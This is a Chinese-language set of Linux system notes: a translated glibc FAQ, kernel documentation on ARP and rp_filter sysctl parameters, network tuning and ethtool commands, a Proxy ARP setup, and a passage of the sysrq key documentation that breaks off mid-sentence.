**我在使用 stdin/stdout/stderr 時收到編譯器的訊息 “Initializer element not constant” （初始者成員不是常數）。為什麼呢？**

類似這樣的寫法:

static FILE \*InPtr = stdin;

會導致發生這個訊息，在 glibc 這是正確的行為，因為 stdin 不是常數表示，請注意，ISO C 的嚴格讀取並不接受上述的寫法。

這樣的其中一個好處是你能指定給 stdin、stdout 與 stderr，就像任何其它的全域變數（global variable）［例如：stdout = my\_stream;］，這樣會很有用，你可以用 libio 來寫自訂的 streams。［但是要注意，這個不必是可移植的］。以這個方式實作的理由是 FILE structure 大小的版本問題。

為了修正那些問題，你要在執行期就初始化變數，比如說可以這麼做，例如：在 main 中，像這樣：

static FILE \*InPtr;

int main(void)

{

InPtr = stdin;

}

或者以 constructors［要注意這是 gcc 才有的］：

static FILE \*InPtr;

static void inPtr\_construct (void) \_\_attribute\_\_((constructor));

static void inPtr\_construct (void) { InPtr = stdin; }

**我在 \`gcc -ansi’ 時出現一些錯誤，glibc ANSI 不相容嗎？**

GNU C 函式庫相容於 ANSI/ISO C 標準，若你使用 \`gcc -ansi’，glibc 會遵循標準 incldue 標準所規範的。ANSI/ISO C 標準定義了要 include 的檔案，並也說明在 include 檔案中不該

有任何東西［順便提一下，你仍然可以使用某些功能旗標來啟用額外的標準］。

GNU C 函式庫符合 ANSI/ISO C，若且唯若你只使用標準的 headers 與函式庫函式。

**我都不能存取某些函數了，nm 顯示它們存在，不過連結失敗。**

在 glibc 2.1 的版本介紹中，可能只匯出這些應用程式與 glibc 其它部分真正正需要的 identifiers［函式、變數］，許多 internal interface（內部的介面）目前都隱藏起來了。nm 仍然會顯示這些 identifiers，但是會將它們標示為 internal。ISO C 談到，以底線開頭的 identifiers 對 libc 而言都是 internal。應用程式一般應該不會使用這些 internal interface［有些例外，比如：\_\_ivaliduser］。若程式用到這些 interfaces，它會發生 broken（損壞）。這些 internal interface 在 glibc 釋出的版本間可以改變，或者完全捨棄。

**sys/sem.h 檔案缺少 \`union semun’ 的定義。**

不是的，這個 union 必須由使用者的程式提供。以前的 glibc 版本定義了這件事，但是它是個錯誤，因為想一想其實它很不合理，描述 System V IPC 函式的標準定義了它，因此程式必須要採用。

**當我對 setmntent() 傳回的 FILE\* 呼叫 fclose()時，我的程式發生 segfaults（記憶體區段錯誤），這是 glibc 的 bug 嗎？**

不，別這麼做。使用 endmntent()，這就是它的用途。

一般而言，你應該使用正確的解除配置機制（deallocation routine），例如：若你使用 fopen() 開啟檔案，你應該使用 fclose() 解除配置 FILE\*，而不是 free()，即使是 FILE \* 也是個指標。

在 setmntent() 案例中，它可以在多數案例中運作，但是它不一定都能正常運作。無疑地，為了相容性的理由，我們不能將 setmntent() 的回傳型別改為 FILE \* 以外的東西。

**我收到 “undefined reference to \`atexit'”。**

這表示你的安裝幾乎失敗了，這種情況與 stat()、fstat()等一樣［參考問題 2.7］。研究為什麼 linker 不會使用 libc\_nonshared.a。

若在執行期產生了類似的訊息，這表示應用程式或 DSO 沒有連結到 libc。這樣會產生問題，因為 atexit() 不再匯出了。

**雜項**

**我該如何正確地設定 timezone 呢？**

首先你要自己安裝 timezone 資料庫，它架設在 [http://www.iana.org/time-zones](http://www.google.com/url?q=http%3A%2F%2Fwww.iana.org%2Ftime-zones\&sa=D\&sntz=1\&usg=AOvVaw1QKjoooPjbuVTRkUvI3ZGQ)。

然後，直接執行 tzselect shell script，建立一個 /etc/localtime symlink（符號連結）指向 /usr/share/zoneinfo/NAME［NAME 是 tzselect 的傳回值］，回答問題並使用後面印出的名字。就這樣，你不用再擔心了。取代系統全部的 /etc/localtime}} 設定，你也可以設定 {{{TZ 環境變數。

GNU C 函式庫支援擴充的 POSIX method，用來設定 TZ 變數，這個記錄在 [使用手冊](http://www.google.com/url?q=http%3A%2F%2Fwww.gnu.org%2Fsoftware%2Flibc%2Fmanual%2Fhtml_node%2FTZ-Variable.html%23TZ-Variable\&sa=D\&sntz=1\&usg=AOvVaw067GIMV1tillEoexU76YoM)。

**有哪些關於 glibc 的文件來源呢？**

glibc 手冊是 glibc 的一部分，它能由此下載：[線上](http://www.google.com/url?q=http%3A%2F%2Fwww.gnu.org%2Fsoftware%2Flibc%2Fmanual%2F\&sa=D\&sntz=1\&usg=AOvVaw3hGuqLko2kHL0OIUrkpJof).

[Linux man-pages project](http://www.google.com/url?q=http%3A%2F%2Fwww.kernel.org%2Fdoc%2Fman-pages%2F\&sa=D\&sntz=1\&usg=AOvVaw1RxqJLlPMUeyARmsgobSsq) 有關於 Linux kernel 與 C 函式庫 interfaces 的文件。

glibc 的官方網站在：[http://www.gnu.org/software/libc](http://www.google.com/url?q=http%3A%2F%2Fwww.gnu.org%2Fsoftware%2Flibc\&sa=D\&sntz=1\&usg=AOvVaw0atcGz1nS5pXGxgiTMtufn)。

glibc wiki 在[http://sourceware.org/glibc/wiki/HomePage](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fglibc%2Fwiki%2FHomePage\&sa=D\&sntz=1\&usg=AOvVaw2dgfLYBInael2z5Lt_yGxL)。

對於 bugs，glibc 專案使用 ‘glibc’ 元件的 [sourceware bugzilla](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fbugzilla%2F\&sa=D\&sntz=1\&usg=AOvVaw0V90GbUO2E207mmNQXG24h)。

**我該如何找出我現在使用的 glibc 是哪個版本呢？**

若你想要從命令列簡單的找出所執行的 libc 執行檔版本，這或許不是每個平台都能做到，但是能用簡單的方式定位出 libc 共享函式庫，並以應用程式啟用，在 Linux 類似這樣：

/lib/libc.so.6

這將會產生全部你所需要的資訊。

一定能正常運作的方法是用 glibc 所提供的 API，編譯並執行下列的小程式就可以取得版本資訊：

\#include \<stdio.h>

\#include \<gnu/libc-version.h>

<br>

int main (void)

{

puts (gnu\_get\_libc\_version ());

return 0;

}

如果需要這個的話，這個 interface 也能用來在執行期執行測試。

**從 signal handlers（訊號處理常式）中使用 setcontext() 不會正常進行 Context switch。**

**XXX: 接下來還是對的嗎？**

setcontext() 的 Linux 實作［IA-64、S390 等］只支援同步的 context switches，這麼做有幾個理由：

UNIX 沒有提供有效同步 context switch［所謂的 co-routine switch］的其它［可移植］方法。有些版本透過 setjmp()/longjmp() 支援這項功能，但是這不是通用的方法。

如同 UNIX ’98 標準所定義的，唯一的方法 setcontext() 可以觸發非同步的 context switch，即若這個函式由 ucontext\_t 指標以第三個參數傳遞給 signal handler 時被呼叫。但是依據 draft 5、XPG6、XBD 2.4.3，setcontext() 不是在可以由 signal handler 呼叫的 routines 集合中。

若 setcontext() 用在非同步 context switches 中，各種同步與 re-entrancy 的議題都會產生，且這些問題已經由真正的多執行緒函式庫［如：POSIX 執行緒］解決了。同步 context switching 可以完全在使用者層（user-level）實作，且需要儲存/回存的狀態比非同步 context switch 要少。因此，可以用它來辨別兩種 context switches 的差異，的確，一些應用程式的供應商都知道要使用 setcontext() 在一般的［heavier-weight］pre-emptable 執行緒上實作 co-routines。

應該要注意的是，若有人對 signal handler 的第三個參數上使用 setcontext()，那麼 IA-64 Linux 可以特過特殊的 sigaction() 版本來支援這個功能，sigaction() 讓全部的 signal handlers 在一個 shim 函式中開始執行，shim 函式負責在呼叫真正的 signal handler 以前儲存保存的 registers，並在之後將它們回存。換句話說，我們能提供一個相容層，用來支援非同步 context switches 的 setcontext()。然而，我不認為上面所給的參數是合理的。setcontext() 提供了一個良好的 co-routine interface，而且我們應該只要勸阻任何非同步的使用［這只會招來麻煩］。

**尚未完成的新 FAQ 記錄**

下列的記錄並非 glibc git repository 中現有 FAQ 的一部分。請自由新增這邊的記錄，爾後將會被移到適當的地方。

**libm 函式的準確度目標是多少呢？**

請參考 [libc-alpha message](https://www.google.com/url?q=https%3A%2F%2Fsourceware.org%2Fml%2Flibc-alpha%2F2013-05%2Fmsg00132.html\&sa=D\&sntz=1\&usg=AOvVaw1DZgWrJY4cNSrSvMwFOaJP)，它詳細的討論了目標。除了類似 sqrt、fma 與 rint 這些用來綁到特定 IEEE 754 操作的函式，以及完整定義來正確地對全部的 rounding modes（對齊模式）進行對齊的結果（包含產生的例外），libm 函式不會特地正確地對齊，在 lulp 以下不會特地產生錯誤（對某些輸入可以有高達部分 ulp 的錯誤），且在底層數學函式是 monotonic （單調）的區域（regions）不會特定是 monotonic。一個綁定到 IEEE 754-2008 的 C 集合草案正在進行中，為了正確地對齊函式，期待將部分（TS 18661-4）定義成名為 crsin 的標準，且在未來的 glibc 能提供類似這類命名的函式。

**為什麼 libm 函式在一些輸入（inputs）中很慢呢？**

GNU C 函式庫包括一個數學函式庫，IBM 贊助了數量可觀的程式碼。IBM 程式碼使用特殊的演算法來幫特定數學函式的輸入計算近似結果。在一些案例中，為了提供精準的最終結果，中繼在運算期間的運算結果也需要有高精準度。實際上有很多學術研究想要證明，最大的精確度需要從中繼結果產生給予精確度的輸出［這些證據通常是依據每個函式而定］。若中繼結果所要求的較高精準度是硬體支援的，則函式會模擬所要求的高精確度。若你需要 100 個 bits，你一起聯合足夠的整數來模擬 100 個 bits，並使用特殊的演算法對那些大數進行操作以取得結果。最後，100 個 bits 的結果會向下對齊 float（浮點數）的大小，或者是 long double，這由所呼叫函式決定。然而，函式的輸入可能需要較高的精確度中繼計算（precision intermediate calculations），這可以輪流使用比較慢的整數多重精確度的值（integer multi-precision values）來計算一個精準的結果。如果沒有較高的中繼精確度，函式的精準度會很糟糕。你可以對幾個 libm 函式中的 slow paths 使用 libm systemtap 探測點（probe points），來偵測你是否正在呼叫 slow path。我們期盼你之後能夠使用探測觸發資訊來微調你的程式碼，以避免 slow paths。社群正在研究提供一種比 libm 快速的替代實作，或許可以用 -ffast-math 所選用的，這可以跳過在精確度的 slow paths 開支，並提供較快速的結果。

**為什麼沒有 strlcpy / strlcat?**

為了避免在修改大型的現有程式碼時，沒有詳細了解程式碼而導致 buffer overruns（過度使用緩衝區），已經[推廣](http://www.google.com/url?q=http%3A%2F%2Fstatic.usenix.org%2Fevent%2Fusenix99%2Fmillert.html\&sa=D\&sntz=1\&usg=AOvVaw0d1dZ-pT5yOwmONTRKK1yT)以更安全的字串複製方式 strlcpy 與 strlcat 函式。[C11 標準](http://www.google.com/url?q=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FC11_%2528C_standard_revision%2529\&sa=D\&sntz=1\&usg=AOvVaw01GMKzXiCskeg6CRnD2LTE)的 Annex K 定義了選配式函式 strcpy\_s 與 strcat\_s，提供類似的需求，儘管以不一樣的 calling concentions（呼叫慣例）會比較沒有效率。無庸置疑的是實作這些函式會有問題，因為它們打算默默的將資料截斷、增加複雜度與降低效率、且沒有防止全部目地的 buffer overruns。新的標準函式庫函式應該考慮現有實作的優點，並且對於 glibc 已忽略的這些函式是好的實作不是很清楚。

以 gcc -D\_FORTIFY\_SOURCE 進行編譯可以捕捉到許多函式預期能捕獲的錯誤，而不需要修改程式碼。還有，若效率不是最重要的，snprintf 函式通常能做為這些函式的可移植替代品。

**在 ARM 編譯失敗**

你需要使用 ports add-on。

**我該如何打造一個在舊版 GNU/Linux distributions 上執行的二進位檔呢？**

［使用針對 LSB 的回答，利用 distro LSB packages 的相關資訊］。

**我該如何在 Ubuntu 上面打造 glibc 呢？［這裡列出其它 distributions 的類似問題］**

有些 distribution 的編譯器預設會啟用 -fstack-protector。GNU C 函式庫無法以它來編譯，因此你需要在 CFLAGS 新增 “-fno-stack-protector -U\_FORTIFY\_SOURCE”。

**在安裝 glibc 2.15 之後，我就不能編譯 GCC 了**

忠告：然而，遇到類似 siginfo\_t 變更與建立 libgcc 失敗相關的新問題是有幫助的，現有的 GCC releases［比 Thomas 還早的 patches］不能用目前的 glibc 來建立。

原文：[Frequently Asked Questions about the GNU C Library](http://www.google.com/url?q=http%3A%2F%2Fsourceware.org%2Fglibc%2Fwiki%2FFAQ\&sa=D\&sntz=1\&usg=AOvVaw1Fz5YrptMzYUQvJXfpcNvp)

譯者：Aaron Liao (<aaron@netdpi.net>)，對於譯文有任何建議請留言，謝謝。

修訂：2014/04/06，本中文版參照 [CarlosODonell](https://www.google.com/url?q=https%3A%2F%2Fsourceware.org%2Fglibc%2Fwiki%2FCarlosODonell\&sa=D\&sntz=1\&usg=AOvVaw39P5FySIB_jfccbcjuuFP4) 2013-11-28 22:22:49 編輯的版本

授權：[GPL](http://www.google.com/url?q=http%3A%2F%2Fmoinmo.in%2FGPL\&sa=D\&sntz=1\&usg=AOvVaw02SkdDZqX0Oo2WCypPbGH-)


# Linux 系統操作


# /proc/sys/net/ipv4/conf/eth\* 目錄中的參數

The file Documentation/networking/ip-sysctl.txt in Linux kernel 2.6.26 source tree \[1] explains that the features of the files in /proc/sys/net/ directory. \
\
Here I list what I would like to understand below:\
\
rp\_filter is used to avoid IP spoofing, my understanding is that it will filter the packets whose source IP address excluses with the eth\* interface.\
\
rp\_filter - BOOLEAN\
1 - do source validation by reversed path, as specified in RFC1812 Recommended option for single homed hosts and stub network routers. Could cause troubles for complicated (not loop free) networks running a slow unreliable protocol (sort of RIP),or using static routes.\
\
0 - No source validation.\
\
conf/all/rp\_filter must also be set to TRUE to do source validation on the interface\
\
Default value is 0. Note that some distributions enable it in startup scripts.\
\
\
arp\_filter - BOOLEAN\
1 - Allows you to have multiple network interfaces on the same subnet, and have the ARPs for each interface be answered based on whether or not the kernel would route a packet from the ARP'd IP out that interface (therefore you must use source\
based routing for this to work). In other words it allows control of which cards (usually 1) will respond to an arp request.\
\
0 - (default) The kernel can respond to arp requests with addresses from other interfaces. This may seem wrong but it usually makes sense, because it increases the chance of successful communication. IP addresses are owned by the complete host on Linux, not by particular interfaces. Only for more complex setups like load-\
balancing, does this behaviour cause problems.\
\
arp\_filter for the interface will be enabled if at least one of conf/{all,interface}/arp\_filter is set to TRUE,it will be disabled otherwise\
\
\
arp\_announce - INTEGER\
Define different restriction levels for announcing the local source IP address from IP packets in ARP requests sent on interface:\
\
0 - (default) Use any local address, configured on any interface\
\
1 - Try to avoid local addresses that are not in the target's subnet for this interface. This mode is useful when target hosts reachable via this interface require the source IP address in ARP requests to be part of their logical network configured on the receiving interface. When we generate the request we will check all our subnets that include the target IP and will preserve the source address if it is from\
such subnet. If there is no such subnet we select source address according to the rules for level 2.\
\
2 - Always use the best local address for this target.\
In this mode we ignore the source address in the IP packet and try to select local address that we prefer for talks with the target host. Such local address is selected by looking for primary IP addresses on all our subnets on the outgoing interface that include the target IP address. If no suitable local address is found we select the first local address we have on the outgoing interface or on all other interfaces,\
with the hope we will receive reply for our request and even sometimes no matter the source IP address we announce.\
\
The max value from conf/{all,interface}/arp\_announce is used.\
\
Increasing the restriction level gives more chance for receiving answer from the resolved target while decreasing the level announces more valid sender's information.\
\
arp\_ignore - INTEGER\
Define different modes for sending replies in response to received ARP requests that resolve local target IP addresses:\
\
0 - (default): reply for any local target IP address, configured on any interface\
1 - reply only if the target IP address is local address configured on the incoming interface\
2 - reply only if the target IP address is local address configured on the incoming interface and both with the sender's IP address are part from same subnet on this interface\
3 - do not reply for local addresses configured with scope host, only resolutions for global and link addresses are replied\
4-7 - reserved\
8 - do not reply for all local addresses\
\
The max value from conf/{all,interface}/arp\_ignore is used when ARP request is received on the {interface}\
\
\
arp\_accept - BOOLEAN\
Define behavior when gratuitous arp replies are received:\
0 - drop gratuitous arp frames\
1 - accept gratuitous arp frames\
\
\
app\_solicit - INTEGER\
The maximum number of probes to send to the user space ARP daemon via netlink before dropping back to multicast probes (see mcast\_solicit). Defaults to 0.\
\
I also found that Documentation/filesystems/proc.txt in linux kernel source code tree explains most of features in /proc/sys/ directory. \
\
Reference:\
\[1] Linux kernel source code, [http://www.kernel.org](https://web.archive.org/web/20200306075510/http://www.kernel.org/).


# Linux 伺服器效能調校

**網路效能測試軟體**

* Netperf (<http://www.netperf.org>): 支援 TCP, UDP, DLPI (Data Link Provider Interface), UNIX Domain Sockets.
* SPEC SFS (<http://www.spec.org/>)
* Volanomark (<http://www.volano.com/benchmarks.html>)
* Web server: SPECweb, SPECweb SSL, TPC-W, SPECjAPPServer and ECPerf
* Oracle: <http://www.oracle.com/apps\\_benchmark/index.html>)
* SAP Standard (<http://www50.sap.com/benchmark/>)

\
**Linux 網路參數設定**<br>

> echo "30000" > /proc/sys/net/ipv4/tcp\_max\_syn\_backlog\
> 預設為 1024，可增加 Server queue TCP SYN 的數量\
> \
> echo "2000000" > /proc/sys/net/ipv4/tcp\_max\_tw\_buckets\
> 預設為 180000，增加 TIME-WAIT state 的數量\
> \
> echo "50000" > /proc/sys/net/core/netdev\_max\_backlog\
> 設定可以 queue 在IP層之下的 network core 之封包數目，可以使用較多的記憶體儲存進入的封包，預設 1000。<br>

\
最好用的文件仍然是 Kernel source 中的 Documentation，設定 Kernel 參數可透過 sysctl, procfs\
範例：

> \
> \# sysctl -w kernel.shmmax=32\
> \# sysctl -p /etc/sysctl.conf\
> \
> \# echo "32" > /proc/sys/kernel/shmmax\
> \
> Linux kernel 2.6\
> \
> /proc/sys/kernel/\
> thread-max: 系統中可允許的最大 thread 數目。\
> domainname\
> hostname\
> ostype\
> osrelease\
> version：Kernel version\
> real-root-dev：real root device partition\
> rtsig-max：最大的 real time signals\
> rtsig-nr：現在 queue 中的 real-time signals 數量\
> pid\_max\
> \
> /proc/sys/fs/\
> file-max: file descriptors 的最大數目\
> file-nr: file handles 的個數\
> super-max: 檔案系統的最大數目\
> \
> /proc/sys/net/ipv4/\
> ip\_no\_pmtu\_disc: 關閉 Path MTU discovery\
> \
> /proc/sys/net/route/\
> max\_size: routing cache 的最大 size\
> max\_delay: flushing routing cache 的最大延遲時間\
> \
> /proc/sys/net/conf/interface/\
> proxy\_arp:\
> rp\_filter: 需要驗證來源位址\
> \
> /proc/sys/net/core\
> rmem\_default: socket 的接收 buffer size\
> rmem\_max: socket 的最大接收 buffer size\
> wmem\_default: socket 的傳送 buffer size\
> wmem\_max: socket 的最大傳送 buffer size\
> netdev\_max\_backlog: queued 封包的最大數目\ <br>

\
**參考文獻**\
1\. Sandra K. Johnson, [Performance Tuning for Linux Servers](https://web.archive.org/web/20200306075615/http://www.amazon.com/gp/product/0137136285/ref=as_li_tf_tl?ie=UTF8\&camp=1789\&creative=9325\&creativeASIN=0137136285\&linkCode=as2\&tag=apla0fb9-20), IBM PRESS, 2005.\
2\. 劉怡芳、劉育銘，[伺服器效能調校專家─以 Linux 為例](https://web.archive.org/web/20200306075615/http://www.books.com.tw/exep/assp.php/vip--af000078707/exep/prod/booksfile.php?item=0010318534)，學貫，2005。


# Linux 設定網卡速度

透過限制 advertise，可以限制 autoneg 後的網卡傳輸速度:\
\
ex. ethtool -s eth0 advertise 0x008\
\
並使用 ethtool eth0 查看網卡目前模式的速度<br>

> advertise 數值的意義:\
> 0x001 10 Half\
> 0x002 10 Full\
> 0x004 100 Half\
> 0x008 100 Full\
> 0x010 1000 Half\
> 0x020 1000 Full\
> 0x8000 100000 Full\
> 0x03F Auto

\
Reference:\
1\. man ethtool.


# Proxy ARP

<figure><img src="/files/W5vRfVXEkxqECAeprzaI" alt=""><figcaption><p>Proxy ARP 示意圖</p></figcaption></figure>

ASCII 圖例: \[LAN0]---\[(eth0)-LinuxBox-(eth1)]---\[LAN1]\
\
Linux Advanced Routing & Traffic Control \[1] 有說明 Proxy ARP 可以做到類似橋接 (bridge) 的功能，連接 Linux box 左 (LAN0) 右 (LAN1) 端網路，並且可代替左右方區域網路(LAN) 的電腦回應 ARP response。\
\
參考 \[1] ，啟動 Linux proxy ARP：\
\
其中 ethR 與 ethL 以本文上方的圖例來看，對應 eth1 與 eth0，\
\
echo "1" > /proc/sys/net/ipv4/conf/ethR/proxy\_arp;\
echo "1" > /proc/sys/net/ipv4/conf/ethL/proxy\_arp;\
\
\# 啟動 packet forward\
echo "1" > /proc/sys/net/ipv4/conf/ip\_forward;\
\
如果 Linux Kernel 的版本是 2.4，還需要這項設定以能夠送出 unsolicited ARP messages.\
echo "1" > /proc/sys/net/ipv4/ip\_nonlocal\_bind\
\
ARP, Proxy ARP 原理觀念可以參考後列的任一 TCP/IP 書籍 \[2]\[3]\[4]。\
\
至於 Proxy ARP 是如何運作的，Linux Advanced Routing & Traffic Control 並沒有特別詳細說明，但作者提示可以透過 arping 以更新其他電腦的 ARP cache table，並且使用 arp -d ip 來刪除 Linux 的 ARP cache table 記錄，於是我推論 Linux 是依照本機網路卡上的 ARP cache table 記錄得知 MAC/IP 的對應（mapping），於是，若是在 eth0 接收到 ARP request，而該 MAC/IP 在 Linux Box 的 ARP cache table 中有這筆記錄，則會代為送出 ARP response.\
\
若是在 Linux Box的 ARP cache table 設定靜態的 MAC/IP，應就能夠重導流量方向了。\
\
**參考文獻**\
\[1] Linux Advanced Routing & Traffic Control, [http://lartc.org/](https://web.archive.org/web/20200306075530/http://lartc.org/).\
\[2] Douglas E. Comer, [Internetworking with TCP/IP](https://web.archive.org/web/20200306075530/http://www.amazon.com/gp/product/013608530X/ref=as_li_tf_tl?ie=UTF8\&camp=1789\&creative=9325\&creativeASIN=013608530X\&linkCode=as2\&tag=apla0fb9-20), Vol. 1, 6th Edition, Prentice Hall, 2013.\
\[3] Kevin R. Fall and W. Richard Stevens, [TCP/IP Illustrated](https://web.archive.org/web/20200306075530/http://www.amazon.com/gp/product/0321336313/ref=as_li_tf_tl?ie=UTF8\&camp=1789\&creative=9325\&creativeASIN=0321336313\&linkCode=as2\&tag=apla0fb9-20), Vol. 1, 2nd Edition, Addison-Wesley Professional, 2011. \[Hardcover]\
\[4] Behrouz A Forouzan, [TCP/IP Protocol Suite](https://web.archive.org/web/20200306075530/http://www.amazon.com/gp/product/0073376043/ref=as_li_tf_tl?ie=UTF8\&camp=1789\&creative=9325\&creativeASIN=0073376043\&linkCode=as2\&tag=apla0fb9-20), McGraw-Hill Inc., 2009.


# sysrq

Last update : 2010/11/16

Linux Kernel Documentation::sysrq.txt 1 Linux Magic System Request Key Hacks\
2 Documentation for sysrq.c\
3 \
4 \*  What is the magic SysRq key?\
5 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
6 It is a 'magical' key combo you can hit which the kernel will respond to\
7 regardless of whatever else it is doing, unless it is completely locked up.\
8 \
9 \*  How do I enable the magic SysRq key?\
10 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
11 You need to say "yes" to 'Magic SysRq key (CONFIG\_MAGIC\_SYSRQ)' when\
12 configuring the kernel. When running a kernel with SysRq compiled in,\
13 /proc/sys/kernel/sysrq controls the functions allowed to be invoked via\
14 the SysRq key. By default the file contains 1 which means that every\
15 possible SysRq request is allowed (in older versions SysRq was disabled\
16 by default, and you were required to specifically enable it at run-time\
17 but this is not the case any more). Here is the list of possible values\
18 in /proc/sys/kernel/sysrq:\
19    0 - disable sysrq completely\
20    1 - enable all functions of sysrq\
21   >1 - bitmask of allowed sysrq functions (see below for detailed function\
22        description):\
23           2 - enable control of console logging level\
24           4 - enable control of keyboard (SAK, unraw)\
25           8 - enable debugging dumps of processes etc.\
26          16 - enable sync command\
27          32 - enable remount read-only\
28          64 - enable signalling of processes (term, kill, oom-kill)\
29         128 - allow reboot/poweroff\
30         256 - allow nicing of all RT tasks\
31 \
32 You can set the value in the file by the following command:\
33     echo "number" >/proc/sys/kernel/sysrq\
34 \
35 Note that the value of /proc/sys/kernel/sysrq influences only the invocation\
36 via a keyboard. Invocation of any operation via /proc/sysrq-trigger is always\
37 allowed (by a user with admin privileges).\
38 \
39 \*  How do I use the magic SysRq key?\
40 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
41 On x86   - You press the key combo 'ALT-SysRq-\<command key>'. Note - Some\
42            keyboards may not have a key labeled 'SysRq'. The 'SysRq' key is\
43            also known as the 'Print Screen' key. Also some keyboards cannot\
44     handle so many keys being pressed at the same time, so you might\
45     have better luck with "press Alt", "press SysRq", "release SysRq",\
46     "press \<command key>", release everything.\
47 \
48 On SPARC - You press 'ALT-STOP-\<command key>', I believe.\
49 \
50 On the serial console (PC style standard serial ports only) -\
51            You send a BREAK, then within 5 seconds a command key. Sending\
52            BREAK twice is interpreted as a normal BREAK.\
53 \
54 On PowerPC - Press 'ALT - Print Screen (or F13) - \<command key>,  \
55              Print Screen (or F13) - \<command key> may suffice.\
56 \
57 On other - If you know of the key combos for other architectures, please\
58            let me know so I can add them to this section.\
59 \
60 On all -  write a character to /proc/sysrq-trigger.  e.g.:\
61 \
62   echo t > /proc/sysrq-trigger\
63 \
64 \*  What are the 'command' keys?\
65 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
66 'b'     - Will immediately reboot the system without syncing or unmounting\
67           your disks.\
68 \
69 'c' - Will perform a system crash by a NULL pointer dereference.\
70           A crashdump will be taken if configured.\
71 \
72 'd' - Shows all locks that are held.\
73 \
74 'e'     - Send a SIGTERM to all processes, except for init.\
75 \
76 'f' - Will call oom\_kill to kill a memory hog process.\
77 \
78 'g' - Used by kgdb on ppc and sh platforms.\
79 \
80 'h'     - Will display help (actually any other key than those listed\
81           here will display help. but 'h' is easy to remember :-)\
82 \
83 'i'     - Send a SIGKILL to all processes, except for init.\
84 \
85 'j'     - Forcibly "Just thaw it" - filesystems frozen by the FIFREEZE ioctl.\
86 \
87 'k'     - Secure Access Key (SAK) Kills all programs on the current virtual\
88           console. NOTE: See important comments below in SAK section.\
89 \
90 'l'     - Shows a stack backtrace for all active CPUs.\
91 \
92 'm'     - Will dump current memory info to your console.\
93 \
94 'n' - Used to make RT tasks nice-able\
95 \
96 'o'     - Will shut your system off (if configured and supported).\
97 \
98 'p'     - Will dump the current registers and flags to your console.\
99 \
100 'q'     - Will dump per CPU lists of all armed hrtimers (but NOT regular\
101           timer\_list timers) and detailed information about all\
102           clockevent devices.\
103 \
104 'r'     - Turns off keyboard raw mode and sets it to XLATE.\
105 \
106 's'     - Will attempt to sync all mounted filesystems.\
107 \
108 't'     - Will dump a list of current tasks and their information to your\
109           console.\
110 \
111 'u'     - Will attempt to remount all mounted filesystems read-only.\
112 \
113 'v' - Dumps Voyager SMP processor info to your console.\
114 \
115 'w' - Dumps tasks that are in uninterruptable (blocked) state.\
116 \
117 'x' - Used by xmon interface on ppc/powerpc platforms.\
118 \
119 'z' - Dump the ftrace buffer\
120 \
121 '0'-'9' - Sets the console log level, controlling which kernel messages\
122           will be printed to your console. ('0', for example would make\
123           it so that only emergency messages like PANICs or OOPSes would\
124           make it to your console.)\
125 \
126 \*  Okay, so what can I use them for?\
127 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
128 Well, un'R'aw is very handy when your X server or a svgalib program crashes.\
129 \
130 sa'K' (Secure Access Key) is useful when you want to be sure there is no\
131 trojan program running at console which could grab your password\
132 when you would try to login. It will kill all programs on given console,\
133 thus letting you make sure that the login prompt you see is actually\
134 the one from init, not some trojan program.\
135 IMPORTANT: In its true form it is not a true SAK like the one in a :IMPORTANT\
136 IMPORTANT: c2 compliant system, and it should not be mistaken as   :IMPORTANT\
137 IMPORTANT: such.                                                   :IMPORTANT\
138        It seems others find it useful as (System Attention Key) which is\
139 useful when you want to exit a program that will not let you switch consoles.\
140 (For example, X or a svgalib program.)\
141 \
142 re'B'oot is good when you're unable to shut down. But you should also 'S'ync\
143 and 'U'mount first.\
144 \
145 'C'rash can be used to manually trigger a crashdump when the system is hung.\
146 Note that this just triggers a crash if there is no dump mechanism available.\
147 \
148 'S'ync is great when your system is locked up, it allows you to sync your\
149 disks and will certainly lessen the chance of data loss and fscking. Note\
150 that the sync hasn't taken place until you see the "OK" and "Done" appear\
151 on the screen. (If the kernel is really in strife, you may not ever get the\
152 OK or Done message...)\
153 \
154 'U'mount is basically useful in the same ways as 'S'ync. I generally 'S'ync,\
155 'U'mount, then re'B'oot when my system locks. It's saved me many a fsck.\
156 Again, the unmount (remount read-only) hasn't taken place until you see the\
157 "OK" and "Done" message appear on the screen.\
158 \
159 The loglevels '0'-'9' are useful when your console is being flooded with\
160 kernel messages you do not want to see. Selecting '0' will prevent all but\
161 the most urgent kernel messages from reaching your console. (They will\
162 still be logged if syslogd/klogd are alive, though.)\
163 \
164 t'E'rm and k'I'll are useful if you have some sort of runaway process you\
165 are unable to kill any other way, especially if it's spawning other\
166 processes.\
167 \
168 "'J'ust thaw it" is useful if your system becomes unresponsive due to a frozen\
169 (probably root) filesystem via the FIFREEZE ioctl.\
170 \
171 \*  Sometimes SysRq seems to get 'stuck' after using it, what can I do?\
172 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
173 That happens to me, also. I've found that tapping shift, alt, and control\
174 on both sides of the keyboard, and hitting an invalid sysrq sequence again\
175 will fix the problem. (i.e., something like alt-sysrq-z). Switching to another\
176 virtual console (ALT+Fn) and then back again should also help.\
177 \
178 \*  I hit SysRq, but nothing seems to happen, what's wrong?\
179 \~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\~\
180 There are some keyboards that produce a different keycode for SysRq than the\
181 pre-defined value of 99 (see KEY\_SYSRQ in include/linux/input.h), or which\
